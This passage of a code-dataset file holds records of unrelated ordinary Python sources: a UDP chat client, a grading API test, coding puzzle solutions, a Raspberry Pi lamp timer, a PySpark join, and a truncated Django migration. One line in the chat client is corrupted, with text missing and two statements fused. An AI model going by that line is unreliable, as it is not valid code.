self.c2wClientModel.getUserById(userID) #retrieve the user using USER_ID\n\t\t\t\tuserName = user.userName\n\t\t\t\tself.clientProxy.userUpdateReceivedONE(userName, ROOM_IDS.OUT_OF_THE_SYSTEM_ROOM)\n\t\t\t\tself.c2wClientModel.removeUser(userName)\n\t\t\t\tevents = event1[5]\n\t\t\telse :\n\t\t\t\tpass\n\t\t\tnbEvents-=1\n\t\t\t\n\tdef leaveApplication(self):\n\t\tself.clientProxy.connectionRejectedONE(\"Connexion lost\")\n\t\treactor.callLater(2, self.clientProxy.applicationQuit)\n\t\tself.logged = False\n\n\t#identify the response message type and execute the necessary actions\n\tdef treatDatagram(self, datagram) :\n\t\treceived = struct.unpack('!BH'+str(len(datagram)-3)+'s', datagram)\n\t\tmsgType = received[0]\n\n\t\t#RESPONSE_LOGIN\n\t\tif (msgType == 0x01) :\n\t\t\treceived = struct.unpack('!BHBHBBHB', datagram) #unpack the received data\n\t\t\tstatus_code = received[4]\n\t\t\t#successful login\n\t\t\tif (status_code==0x00) :\n\t\t\t\tself.init = True\n\t\t\t\tself.logged = True\n\t\t\t\tself.last_event_id = (received[6]<<8)|received[7] #shift the 2 first bytes of the last_event_id to the left and apply a bitwise OR with the last byte\n\t\t\t\tself.userID = received[5]\n\t\t\t\tself.getUsers(self.roomID)\n\t\t\t\tself.connectedTimer = reactor.callLater(60, self.leaveApplication) #if no data received every 60s, we conclude that the connexion is lost\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# connectedTimer is reinitialised after each data reception\n\t\t\t#unsuccessful login\n\t\t\telif (status_code==0x01) :\n\t\t\t\tself.clientProxy.connectionRejectedONE(\"unknown error\")\n\t\t\telif (status_code==0x02) :\n\t\t\t\tself.clientProxy.connectionRejectedONE(\"too many users\")\n\t\t\telif (status_code==0x03) :\n\t\t\t\tself.clientProxy.connectionRejectedONE(\"invalid username\")\n\t\t\telif (status_code==0x04) :\n\t\t\t\tself.clientProxy.connectionRejectedONE(\"username not available\")\n\t\t\telse :\n\t\t\t\tself.clientProxy.connectionRejectedONE(\"error\")\n\t\t\t\n\t\t#RESPONSE_LOGOUT\n\t\telif (msgType == 0x03) :\n\t\t\treceived = struct.unpack('!BHBHB', datagram) #unpack the received data\n\t\t\tstatus_code = received[4]\n\t\t\tif (status_code == 0) :\n\t\t\t\tself.clientProxy.leaveSystemOKONE()\n\t\t\t\tself.logged = False\n\t\t\t\tself.connectedTimer.cancel() #stop timmer\n\t\t\telse :\t\n\t\t\t\tpass\n\t\t\t\n\t\t#RESPONSE_PING get the difference betwen server's and user's last event id's\n\t\telif (msgType == 0x05) :\n\t\t\treceived = struct.unpack('!BHBHHB', datagram) #unpack the received data containing last event id\n\t\t\tlast_event_id = (received[4]<<8)|received[5] \n\t\t\tif (last_event_id>self.last_event_id): #if server last_event_id is greater than the client\n\t\t\t\tdiff = last_event_id - self.last_event_id\n\t\t\t\tself.getEvents(diff) #client asks for the remaining events\n\t\t\telif (last_event_id self.lastDGTreated + 1 :\n\t\t\tself.responses.append((msgType, seq, datagram))\n\t\telse :\n\t\t\tpass\n\n\t#check if the response was received, called in general 500ms after sending the message\n\tdef verifyResponse(self, parameter, respSeq, messageType): #respSeq is used to be sure that the received response is the expected \n\t\t#the case in which the lastDGTreated is still uninitialized, that means the login response wasn't received. We then resend the request\n\t\tif respSeq == 0 and self.lastDGTreated == None :\n\t\t\tself.seq -= 1\n\t\t\tself.sendLoginRequestOIE(parameter)\n\t\t#the case in which the lastDGTreated already surpassed the seq number we are checking. It means the datagram was already received and executed, so we don't have to do anything\n\t\telif respSeq <= self.lastDGTreated :\n\t\t\treturn\n\t\t#the case in which the lastDGTreated is inferior to the seq number we are checking. It means the datagram wasn't executed yet, so we have to search it in the list\n\t\telif respSeq > self.lastDGTreated :\n\t\t\ti = 0\n\t\t\tfor item in self.responses :\n\t\t\t\t#the case in which the response datagram was already received, but wasn't executed, we have to wait for the messages with an inferior seq number to be executed \n\t\t\t\tif (item[1] == respSeq):\n\t\t\t\t\treturn\n\t\t\t\telse :\n\t\t\t\t\ti += 1\n\t\t\t#the case in which the response datagram wasn't received yet (it's not in the list), we have to resend the request \n\t\t\ttempSeq = self.seq\n\t\t\tself.seq = respSeq #if we didn't receive the expected seq response, we resend the request with the expected seq (respSeq)\n\t\t\tprint(self.seq)\n\t\t\tif(messageType == 0x02):\n\t\t\t\tself.sendLeaveSystemRequestOIE()\n\t\t\telif(messageType == 0x04):\n\t\t\t\tself.getPing(False) #false parameter means it is a retry, so we don't call a new get ping after a second\n\t\t\telif(messageType == 0x06):\n\t\t\t\tself.getEvents(parameter)\n\t\t\telif(messageType == 0x08):\n\t\t\t\tself.getRooms()\n\t\t\telif(messageType == 0x0A):\n\t\t\t\tself.getUsers(self.roomID)\n\t\t\telif(messageType == 0x0C):\n\t\t\t\tself.sendJoinRoomRequestOIE(parameter)\n\t\t\telif(messageType == 0x0E):\n\t\t\t\tself.sendChatMessageOIE(parameter)\n\t\t\telse:\n\t\t\t\tpass\n\t\t\tself.seq = tempSeq #continue the code with our current seq\n\t\telse :\n\t\t\tpass\n","sub_path":"protocol/udp_chat_client.py","file_name":"udp_chat_client.py","file_ext":"py","file_size_in_byte":25140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422885391","text":"from base_auth_test import *\r\n\r\nclass TestFeed(BaseAuthedTestCase):\r\n\r\n def test_feed(self):\r\n empty_list = []\r\n person_me = self.get('/Person/me')\r\n person_me_list_of_dictionaries = person_me['data']['claims']\r\n\r\n for item in person_me_list_of_dictionaries:\r\n empty_list.append(item['values'])\r\n\r\n final_list = [item for sublist in empty_list for item in sublist]\r\n decoded_list = [x.encode('utf-8') for x in final_list]\r\n\r\n dict_for_clas_marking_period = self.dict_for_clas_marking_period\r\n dict_for_marking_period_date_startdate_endate = self.dict_for_marking_period_date_startdate_endate\r\n\r\n list_for_class_id = []\r\n\r\n #general call\r\n get_grades_all = self.get('/Grading/TeacherSummary?' + 'teacherId=' + str(self.teacher_id))\r\n get_grades_all_data = get_grades_all['data']\r\n for k in get_grades_all_data:\r\n for key, value in k['class'].iteritems():\r\n if key == 'id':\r\n list_for_class_id.append(value)\r\n\r\n list_for_student_id =[]\r\n\r\n list_for_standards_id =[]\r\n\r\n self.list_of_standards_from_dict = []\r\n\r\n for one_class in list_for_class_id:\r\n if one_class == 13806 or one_class == 14011 or one_class == 14436:\r\n pass\r\n else:\r\n class_summary_grids = self.get('/Grading/ClassStandardGrids?' + 'classId=' + str(one_class))\r\n class_summary_grids = class_summary_grids['data']\r\n\r\n # veryfying if the class has students\r\n for key, value in class_summary_grids.iteritems():\r\n if key == 'currentstandardgradinggrid':\r\n for key2, value2 in value.iteritems():\r\n if key2 == 'gradingitems':\r\n if len(value2) > 0:\r\n if one_class in self.dic_for_class_allowed_standard: #verifying if teacher can put standards. Verifying if the area is not disabled.\r\n self.list_of_standards_from_dict = self.dic_for_class_allowed_standard[one_class]\r\n\r\n # getting list of standards id\r\n for y in class_summary_grids['currentstandardgradinggrid']['gradingitems']:\r\n list_for_standards_id.append(y['standard']['standardid'])\r\n\r\n # getting list of students id\r\n for y in class_summary_grids['currentstandardgradinggrid']['students']:\r\n list_for_student_id.append(y['studentinfo']['id'])\r\n\r\n for key, value in class_summary_grids.iteritems():\r\n if key == 'gradingperiods':\r\n for i in value:\r\n for key2, value2 in i.iteritems():\r\n if key2 == 'id':\r\n random_student_id = random.choice(list_for_student_id)\r\n random_standard_id = random.choice(list_for_standards_id)\r\n random_alpha_grade_id = random.choice(self.list_of_standards_from_dict)\r\n\r\n self.get('/Grading/UpdateStandardGrade?' + \"classId=\" + str(\r\n one_class) + \"&gradingPeriodId=\" + str(value2) +\r\n \"&studentId=\" + str(random_student_id) +\r\n \"&standardId=\" + str(random_standard_id)+\r\n '&alphaGradeId=' + str(random_alpha_grade_id) + '¬e=')\r\n\r\n # verifying that student has a correct score and a grading comment\r\n class_summary_grids = self.get(\r\n '/Grading/ClassStandardGrids?' + 'classId=' + str(one_class))\r\n class_summary_grids_data = class_summary_grids['data']\r\n\r\n for k in class_summary_grids_data['currentstandardgradinggrid']['gradingitems']:\r\n if k['standard']['standardid'] == random_standard_id:\r\n for p in k['items']:\r\n if p['studentid'] == random_student_id:\r\n self.assertEqual(p['gradeid'],\r\n random_alpha_grade_id)\r\n break\r\n #break\r\n\r\n list_for_student_id = []\r\n list_for_standards_id = []\r\n self.list_of_standards_from_dict = []\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"Chalkable.AutomatedTests/tests/teacher/grades/grades_selected_class_standards_grid_letter.py","file_name":"grades_selected_class_standards_grid_letter.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"367538916","text":"\"\"\"\nCheck If All 1's Are at Least Length K Places Away\nGiven an array nums of 0s and 1s and an integer k, return True if all 1's are at least k places away from each other, otherwise return False.\n\n\n\nExample 1:\n\n\n\nInput: nums = [1,0,0,0,1,0,0,1], k = 2\nOutput: true\nExplanation: Each of the 1s are at least 2 places away from each other.\nExample 2:\n\n\n\nInput: nums = [1,0,0,1,0,1], k = 2\nOutput: false\nExplanation: The second 1 and third 1 are only one apart from each other.\nExample 3:\n\nInput: nums = [1,1,1,1,1], k = 0\nOutput: true\nExample 4:\n\nInput: nums = [0,1,0,1], k = 1\nOutput: true\n\n\nConstraints:\n\n1 <= nums.length <= 105\n0 <= k <= nums.length\nnums[i] is 0 or 1\n Hide Hint #1\nEach time you find a number 1, check whether or not it is K or more places away from the next one. If it's not, return false.\n\"\"\"\nfrom cmath import inf\nfrom typing import List\n\n\nclass Solution:\n def kLengthApart(self, nums: List[int], k: int) -> bool:\n # Solution 1 - 576 ms\n \"\"\"\n left = 0\n flag = 0\n res = float(inf)\n for idx, num in enumerate(nums):\n if num == 1:\n if flag == 0: # first time we meet 1\n flag = 1\n left = idx\n else:\n dist = idx - left - 1\n left = idx\n res = min(res, dist)\n if res < k:\n return False\n return True\n \"\"\"\n # Solution 2 - 520 ms\n if not nums or len(nums) <= 0 or k <= 0:\n return True\n\n prev_i = -1\n for i, n in enumerate(nums):\n if n == 0:\n continue\n\n if prev_i == -1:\n prev_i = i\n continue\n\n if i - prev_i - 1 < k:\n return False\n\n prev_i = i\n return True\n\n\n# Main Call\nnums = [1, 0, 0, 0, 1, 0, 0, 1]\nk = 2\n\nsolution = Solution()\nprint(solution.kLengthApart(nums, k))","sub_path":"src/arrays/kLengthApart.py","file_name":"kLengthApart.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"115990478","text":"class Solution(object):\n def angleClock(self, hour, minutes):\n \"\"\"\n :type hour: int\n :type minutes: int\n :rtype: float\n \"\"\"\n hourAngle = (hour%12)*30 + 30*(minutes / float(60))\n minuteAngle = (minutes/float(5))*30\n \n res = abs(hourAngle-minuteAngle)\n \n if res > 180:\n res = 360 - res\n \n return res","sub_path":"1344-Angle Between Hands of a Clock.py","file_name":"1344-Angle Between Hands of a Clock.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"379072640","text":"\n# coding: utf-8\n\nimport cStringIO\nimport codecs\nimport csv\nimport decimal\n\n\nclass UnicodeWriter:\n \"\"\"\n A CSV writer which will write rows to CSV file \"f\",\n which is encoded in the given encoding.\n \"\"\"\n\n def __init__(self, f, dialect=csv.excel, encoding=\"utf-8\", **kwds):\n # Redirect output to a queue\n self.queue = cStringIO.StringIO()\n self.writer = csv.writer(self.queue, dialect=dialect, **kwds)\n self.stream = f\n self.encoder = codecs.getincrementalencoder(encoding)()\n\n def writerow(self, row):\n self.writer.writerow([s.encode(\"utf-8\") for s in row])\n # Fetch UTF-8 output from the queue ...\n data = self.queue.getvalue()\n data = data.decode(\"utf-8\")\n # ... and reencode it into the target encoding\n data = self.encoder.encode(data)\n # write to the target stream\n self.stream.write(data)\n # empty queue\n self.queue.truncate(0)\n\n def writerows(self, rows):\n for row in rows:\n self.writerow(row)\n\n\nclass Utils:\n def __init__(self):\n self\n\n def replace_decimals(self, obj):\n if isinstance(obj, list):\n for i in xrange(len(obj)):\n obj[i] = self.replace_decimals(obj[i])\n return obj\n elif isinstance(obj, dict):\n for k in obj.iterkeys():\n obj[k] = self.replace_decimals(obj[k])\n return obj\n elif isinstance(obj, decimal.Decimal):\n if obj % 1 == 0:\n return int(obj)\n else:\n return float(obj)\n else:\n return obj\n","sub_path":"Code/classification/utilCsv.py","file_name":"utilCsv.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"320141797","text":"script_version = \"Script Version 1.0\" \r\nscript_date = \"Script Date : 06-25-2017\"\r\n\r\nprint(\"Hello There!\")\r\nprint(script_version)\r\nprint(script_date)\r\nimport datetime\r\nimport time\r\nimport RPi.GPIO as GPIO\r\nimport random\r\nfrom shutil import copyfile\r\n\r\nGPIO.setmode(GPIO.BCM)\r\nGPIO.setwarnings(False)\r\n\r\n\r\nGPIO_ON1 = 15\r\nGPIO_OFF1 = 18\r\nGPIO_ON2 = 4\r\nGPIO_OFF2 = 17\r\nGPIO_ON3 = 27\r\nGPIO_OFF3 = 22\r\n\r\n\r\nGPIO.setup(GPIO_ON1 , GPIO.OUT)\r\nGPIO.setup(GPIO_OFF1, GPIO.OUT)\r\nGPIO.setup(GPIO_ON2 , GPIO.OUT)\r\nGPIO.setup(GPIO_OFF2, GPIO.OUT)\r\nGPIO.setup(GPIO_ON3 , GPIO.OUT)\r\nGPIO.setup(GPIO_OFF3, GPIO.OUT)\r\n\r\nGPIO.output(GPIO_ON1, GPIO.HIGH)\r\nGPIO.output(GPIO_OFF1, GPIO.HIGH)\r\nGPIO.output(GPIO_ON2, GPIO.HIGH)\r\nGPIO.output(GPIO_OFF2, GPIO.HIGH)\r\nGPIO.output(GPIO_ON3, GPIO.HIGH)\r\nGPIO.output(GPIO_OFF3, GPIO.HIGH)\r\n\r\nglobal current\r\nglobal G_on_time\r\nglobal G_off_time\r\nglobal G_range\r\n\r\n#-----------------------------------------------------\r\ndef log(stamp):\r\n\ttxt = str(datetime.datetime.now()) + ' : ' + str(stamp) + '\\r\\n'\r\n\tfile = open(tempFile, \"a\")\r\n\tfile.write(txt)\r\n\tfile.close()\r\n\tcopyfile(tempFile, '/home/pi/eesh/log.txt')\r\n\tprint(stamp)\r\n#-------------------------------------------------------\r\ntempFile = 'TemporaryFile.txt'\r\nfile = open(tempFile, \"w\")\r\nfile.close()\r\n\r\n\r\n#=======================================================\t\r\nlog(str(datetime.datetime.now()))\r\n#-----------------------------------------------\r\n#------GIVE VALUE IN 24 HOUR CLOCK--------------\r\n#Example = 0800 == 8:00am\r\n#Example = 81 == 8:01am\r\n#Example = 830 == 8:30am\r\n#Example = 2250 == 10:50pm\r\n\r\nG_on_time = raw_input(\"On_time?\")\r\nG_off_time = raw_input(\"Off_time?\")\r\nG_range = int(raw_input(\"range?\"))\r\n\r\n#-----------------------------------------------\t\r\n#----------------------------------------------- \r\nclass lamp:\r\n\t\r\n\t#-----------------------------------------------\r\n\tdef __init__(self, GPIO_ON, GPIO_OFF, name):\r\n\t\tglobal G_on_time\r\n\t\tglobal G_off_time\r\n\t\tself.name = name\r\n\t\tself.GPIO_ON = GPIO_ON\r\n\t\tself.GPIO_OFF = GPIO_OFF\r\n\t\tself.reset_time(G_on_time, G_off_time)\r\n\t\tself.isItOn = False\r\n\t\r\n\tdef reset_time(self, timeOn, timeOff):\r\n\t\tglobal G_range\r\n\t\ttimeOnHour = int(timeOn[:2])\r\n\t\ttimeOnMinute = int(timeOn[-2:])\r\n\t\ttimeOffHour = int(timeOff[:2])\r\n\t\ttimeOffMinute = int(timeOff[-2:])\r\n\t\trange = random.randrange(0, G_range)\r\n\t\ttimeOn = datetime.datetime(2004,12,18,timeOnHour,timeOnMinute) # year, month, date, hour, min, sec\r\n\t\ttimeOff = datetime.datetime(2004,12,18,timeOffHour,timeOffMinute) # year, month, date, hour, min, sec\r\n\t\tself.on_time = timeOn + datetime.timedelta(0,0,0,0,range,0,0) # days, seconds, microseconds, milliseconds, minutes, hours, weeks\r\n\t\trange = random.randrange(0, G_range)\r\n\t\tself.off_time = timeOff + datetime.timedelta(0,0,0,0,range,0,0) # days, seconds, microseconds, milliseconds, minutes, hours, weeks\r\n\t\tlog(\"Light in \" + self.name + \" will turn on at \" + str(self.on_time.time()) + \"!\")\r\n\t\tlog(\"Light in \" + self.name + \" will turn off at \" + str(self.off_time.time()) + \"!\")\r\n\t\t\r\n\t\t\r\n\tdef turn_on(self):\r\n\t\tif self.isItOn == True:\r\n\t\t\treturn\r\n\t\tGPIO.output(self.GPIO_ON, GPIO.LOW)\r\n\t\ttime.sleep(1)\r\n\t\tGPIO.output(self.GPIO_ON, GPIO.HIGH)\r\n\t\tself.isItOn = True\r\n\t\tlog(\"At \"+ str(datetime.datetime.now()) + \" light in \" + self.name + \" turned on\")\r\n\t\r\n\tdef turn_off(self):\r\n\t\tglobal G_on_time\r\n\t\tglobal G_off_time\r\n\t\tif self.isItOn == False:\r\n\t\t\treturn\r\n\t\tGPIO.output(self.GPIO_OFF, GPIO.LOW)\r\n\t\ttime.sleep(1)\r\n\t\tGPIO.output(self.GPIO_OFF, GPIO.HIGH)\r\n\t\tself.isItOn = False\r\n\t\tlog(\"At \"+ str(datetime.datetime.now()) + \" light \" + self.name + \" turned off\")\r\n\t\tself.reset_time(G_on_time, G_off_time)\r\n\t\t\r\n\t\t\r\n\tdef isItTimeToTurnOn(self):\r\n\t\tglobal current\r\n\t\tgethour()\r\n\t\tif current == self.on_time:\r\n\t\t\treturn True\r\n\t\treturn False \r\n\t\t\r\n\tdef isItTimeToTurnOff(self):\r\n\t\tglobal current\r\n\t\tgethour()\r\n\t\tif current == self.off_time:\r\n\t\t\treturn True\r\n\t\treturn False \r\n\t\t\r\n#------------------------------------------------\r\n#-----------------END OF CLASS-------------------\r\n#------------------------------------------------ \t\r\ndef gethour():\r\n\tglobal current\r\n\tnow = datetime.datetime.now()\r\n\t#print now.year, now.month, now.day, now.hour, now.minute, now.second\r\n\thour2 = int(now.hour)\r\n\tminute = int(now.minute)\r\n\tcurrent = datetime.datetime(2004,12,18,hour2,minute)\r\n\t#hour = hour2 + minute\r\n\t#print (hour)\r\n\treturn\r\n#-----------------------------------------------\r\n\r\n#-----------------------------------------------\r\n#def check_time():\r\n#\tif len(str(on_time) < 4:\r\n#\t\t\r\n#-----------------------------------------------\r\ndef blink_light():\r\n\tGPIO.output(GPIO_OFF1,GPIO.HIGH)\r\n\ttime.sleep(0.5)\r\n\tGPIO.output(GPIO_OFF1,GPIO.LOW)\r\n\ttime.sleep(0.5)\r\n\tGPIO.output(GPIO_ON1,GPIO.HIGH)\r\n\ttime.sleep(0.5)\r\n\tGPIO.output(GPIO_ON1,GPIO.LOW)\r\n\treturn\r\n#----------------------------------------------- \r\ndef turnAllOn():\r\n\tlamp1.turn_on()\r\n\tlamp2.turn_on()\r\n\tlamp3.turn_on()\r\n#-----------------------------------------------\r\ndef turnAllOff():\r\n\tlamp1.turn_off()\r\n\tlamp2.turn_off()\r\n\tlamp3.turn_off()\r\n#------------------------------------------------\r\n#on_time = [on_time - 15, on_time - 14, on_time - 13, on.time - 12, on.time - 11, on.time - 10, on.time - 9, on.time - 8, on.time - 7, on.time - 6, on.time - 5, on.time - 4, on.time - 3, on.time - 2, on.time - 1, on.time, on.time + 1, on.time + 2, on.time + 3, on.time + 4, on.time + 5, on.time + 6, on.time + 7, on.time + 8, on.time, on.time + 9, on.time + 10, on.time + 11, on.time + 12, on.time + 13, on.time + 14, on.time + 15]\r\nlamp1 = lamp(GPIO_ON1, GPIO_OFF1, \"Living_Room\")\r\nlamp2 = lamp(GPIO_ON2, GPIO_OFF2, \"Den\")\r\nlamp3 = lamp(GPIO_ON3, GPIO_OFF3, \"Bedroom\")\r\n\r\n#light = [1, 2, 3]\r\n#light = random.choice(light)\r\n\r\n#blink_light()\r\n\r\n#on_time = random.randrange(on_time, on_time + 30)\r\n\r\n#off_time = random.randrange(off_time, off_time + 30)\r\n\r\ngethour()\r\n#print(hour)\r\n#log(G_on_time)\r\n#log(G_off_time)\r\n\r\n\r\n\r\nwhile 1:\r\n\t\r\n\ttime.sleep(1)\r\n\t\r\n\tif lamp1.isItTimeToTurnOn() == True:\r\n\t\tlamp1.turn_on()\r\n\t\t\r\n\tif lamp2.isItTimeToTurnOn() == True:\r\n\t\tlamp2.turn_on()\r\n\t\t\r\n\tif lamp3.isItTimeToTurnOn() == True:\r\n\t\tlamp3.turn_on()\r\n\t\t\r\n\tif lamp1.isItTimeToTurnOff() == True:\r\n\t\tlamp1.turn_off()\r\n\t\r\n\tif lamp2.isItTimeToTurnOff() == True:\r\n\t\tlamp2.turn_off()\r\n\r\n\tif lamp3.isItTimeToTurnOff() == True:\r\n\t\tlamp3.turn_off()\r\n\t\t\r\n\t\t\r\n#=========END OF SCRIPT===============#\r\n\r\n#----------------------------------------\r\n\t\t#int(timeOn1) = timeOn[:2]\r\n\t\t#int(timeOn3) = timeOn[:-2]\r\n\t\t#str(timeOn1) = int(timeOn1)\r\n\t\t#str(timeOn3) = int(timeOn3)\r\n\t\t#timeOn = timeOn1 + timeOn3\r\n\t\t#int(timeOn) = timeOn\r\n#------------------------------------------\r\n","sub_path":"light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":6629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291114270","text":"f = open(\"input_day8.txt\")\n\ncmds = []\n\nfor line in f:\n cmd, arg = line.split(' ')\n\n sgn = arg[0]\n if sgn == '-' : \n sgn = -1\n else :\n sgn = 1\n\n arg = int(arg[1:])*sgn\n\n cmds.append((cmd, arg))\n\n# run the program\n\n\nchange_instruction_acc = 3\nwhile True:\n tmp_cmds = cmds.copy()\n change_instruction_counter = 0\n\n instruction_ptr = 0\n visited_instructions = []\n global_acc = 0\n\n while True:\n\n if instruction_ptr == len(cmds):\n print(global_acc)\n exit()\n\n instruction = tmp_cmds[instruction_ptr]\n \n if instruction_ptr in visited_instructions:\n break;\n\n visited_instructions.append(instruction_ptr)\n\n if instruction[0] == 'jmp' or instruction[0] == 'nop':\n change_instruction_counter+=1\n\n if change_instruction_counter == change_instruction_acc:\n change_instruction_counter+=1\n if instruction[0] == 'nop':\n instruction = ('jmp', instruction[1])\n else:\n instruction = ('nop', instruction[1])\n\n if instruction[0] == 'nop':\n instruction_ptr+=1 \n continue\n \n if instruction[0] == 'acc':\n global_acc += instruction[1]\n instruction_ptr+=1\n continue\n\n if instruction[0] == 'jmp':\n instruction_ptr += instruction[1]\n continue\n\n print(\"GOT BAD INSTRUCTION\" + instruction[0])\n\n \n change_instruction_acc+=1\n\n\n\n","sub_path":"AOC_day8.py","file_name":"AOC_day8.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100289355","text":"import json\nimport re\n\nfrom unidecode import unidecode\nfrom urlparse import urlparse\n\nimport twitter_util as twu\n\nprefix = '/home/source'\n\nfrom pyspark import SparkContext\nsc = SparkContext()\n\ntweets = sc.textFile(prefix + \"/data/complete_tweets\").map(lambda a: json.loads(a))\ncompanies = sc.textFile(prefix + \"/data/companies_all\").map(lambda a: json.loads(a))\ndest = prefix + '/data/find_positions_account_result'\n\ndef Most_Common(lst):\n data = Counter(lst)\n return data.most_common(1)[0][0]\n\n\ndef check_name(tweet):\n if len(tweet['user']['name']) > 5:\n return [((twu.sort_string(tweet['user']['name']), tweet['user']['screen_name']),set([json.dumps(tweet)]))]\n else:\n return []\n\ndef dextract(tweet_tuple):\n name = tweet_tuple[0][0]\n screen_name = tweet_tuple[0][1]\n mentions = set()\n links = set()\n \n for a in tweet_tuple[1]:\n try:\n a = json.loads(a)\n \n mentions.add(a['user']['screen_name'])\n mentions |= set(a['text']['mentions'])\n mentions |= set(a['user']['description']['mentions'])\n links |= set(m['host'].lower() for m in a['text']['links'])\n links |= set(m['host'].lower() for m in a['user']['description']['links'])\n \n if a['user']['url'] is not None and a['user']['url'] is not '':\n links.add(twu.get_host(a['user']['url']).lower())\n except:\n return []\n\n return [(name,(screen_name,mentions,links))]\n\nres = tweets.flatMap(check_name).reduceByKey(lambda a,b: a | b).flatMap(dextract)\n\n\ndef to_flat(company):\n if 'positions' not in company:\n return []\n \n res = []\n accounts = []\n websites = []\n\n if 'social' in company:\n accounts += [x['account'] for x in company['social']['twitter']]\n if 'websites' in company:\n websites += [twu.get_host(x['website']).lower() for x in company['websites']]\n\n if len(accounts) + len(websites) == 0:\n return []\n \n for x in company['positions']:\n res += [(twu.sort_string(x['name']),((x['name'],company['id']),set(accounts),set(websites)))]\n \n return res\n\nres2 = companies.flatMap(to_flat)\n\nresult = res.join(res2)\n\ndef adjust(entry):\n return ((entry[1][1][0][0],entry[1][1][0][1],entry[1][0][0]),(list(entry[1][0][1] & entry[1][1][1]), list(entry[1][0][2] & entry[1][1][2])))\n\nfinal = result.map(adjust).filter(lambda a: len(a[1][0]) + len(a[1][1]) > 0)\n\n\nfinal.map(lambda a: json.dumps(a)).saveAsTextFile(dest, compressionCodecClass=\"org.apache.hadoop.io.compress.BZip2Codec\")\n\n\n\n\n\n","sub_path":"find_positions_account.py","file_name":"find_positions_account.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"77377329","text":"from flask import Flask, request, Response, make_response\n\napp = Flask(__name__) #__main__이 들어가게됨\napp. debug = True\n\n@app.route(\"/\") #도메인 경로 지정\ndef helloworld():\n return \"Hello Flask World!\" #response해줌\n\n@app.route(\"/ro\")\ndef ro():\n res = Response(\"Test\")\n res.headers.add('Program-Name','Test Response')\n res.set_data(\"This is Test Program.\")\n res.set_cookie(\"UserToken\",\"A12Bc9\")\n return make_response(res)\n\napp.run()","sub_path":"Study/Response.py","file_name":"Response.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"58354253","text":"#!/usr/bin/python\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\nimport instrument\nfrom pylab import *\n\n\n# Initialize\ndm = instrument.RigolDM3000(\"/dev/usbtmc0\")\nutil = instrument.Utility()\n\ndm.setNumberOfSamples(600)\ndm.setSamplingMethod(\"DCI\")\n\n \nlog = dm.datalog()\nutil.saveLogToFile(log, \"log.txt\")\n\n\n\nfig = figure(1, figsize=(20,5))\n\nmajorLocator = MultipleLocator(500)\nax = subplot(111)\n\nplt.plot(log['time'], log['data'])\n\nax.xaxis.set_major_locator(majorLocator)\n\nplt.show()\n","sub_path":"getDCCurrent.py","file_name":"getDCCurrent.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614064512","text":"from sys import argv\n\ndef load_motifs(filename):\n file=open(filename)\n seq=file.read().split(\"MOTIF\")\n seq=seq[1:]\n motifs={}\n meta={}\n for s in range(len(seq)):\n t=seq[s].strip().split(\"\\n\")\n motifs[int(t[0].split('_')[0])]=t[2:]\n meta[int(t[0].split('_')[0])]=t[0:2]\n for m in motifs:\n tdict={'A':[],'C':[],'G':[],'T':[],'E':[],}\n for pos in range(len(motifs[m])):\n tmp=motifs[m][pos].strip().split(\"\\t\")\n tdict['A']+=[float(tmp[0])]\n tdict['C']+=[float(tmp[1])]\n tdict['G']+=[float(tmp[2])]\n tdict['T']+=[float(tmp[3])]\n tdict['E']+=[float(tmp[4])]\n motifs[m]=tdict\n \n return motifs,meta\n\n\n## main program ##\n\ninputmeme=argv[1]\noutputmeme=argv[2]\n\nmotifs,meta=load_motifs(inputmeme)\n\nfor motif in motifs:\n for loc in range(len(motifs[motif]['A'])):\n #print loc\n motifs[motif]['C'][loc]=motifs[motif]['C'][loc]+motifs[motif]['E'][loc]\n motifs[motif]['E'][loc]=0.0\n\noutput=outputmeme\ntarget=open(output,'w')\nheader=\"MEME version 4.5\\nALPHABET= A,C,G,T,mC \\nstrands: + \\nBackground letter frequencies (from \\nA 0.295 C 0.205 G 0.205 T 0.295\\n\"\ntarget.write(header+'\\n')\nalphabet=['A','C','G','T','E']\nnewname=0\nfor m in sorted(motifs.keys()):\n h1='MOTIF '+str(newname)+\"_\"+'_'.join('\\n'.join(meta[m]).split('_')[1:])\n target.write(h1+'\\n')\n for i in range(len(motifs[m]['A'])):\n line=''\n for char in alphabet:\n line+=str(motifs[m][char][i])+'\\t'\n line=line.strip()\n target.write(line+'\\n')\n target.write('\\n')\n newname+=1\ntarget.close()\n","sub_path":"analysis_scripts/demethylate_memefiles_typeE.py","file_name":"demethylate_memefiles_typeE.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195687013","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('links', '0003_link_title'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='tag',\n name='links',\n ),\n migrations.AddField(\n model_name='link',\n name='last_visit_date',\n field=models.DateTimeField(null=True, blank=True),\n 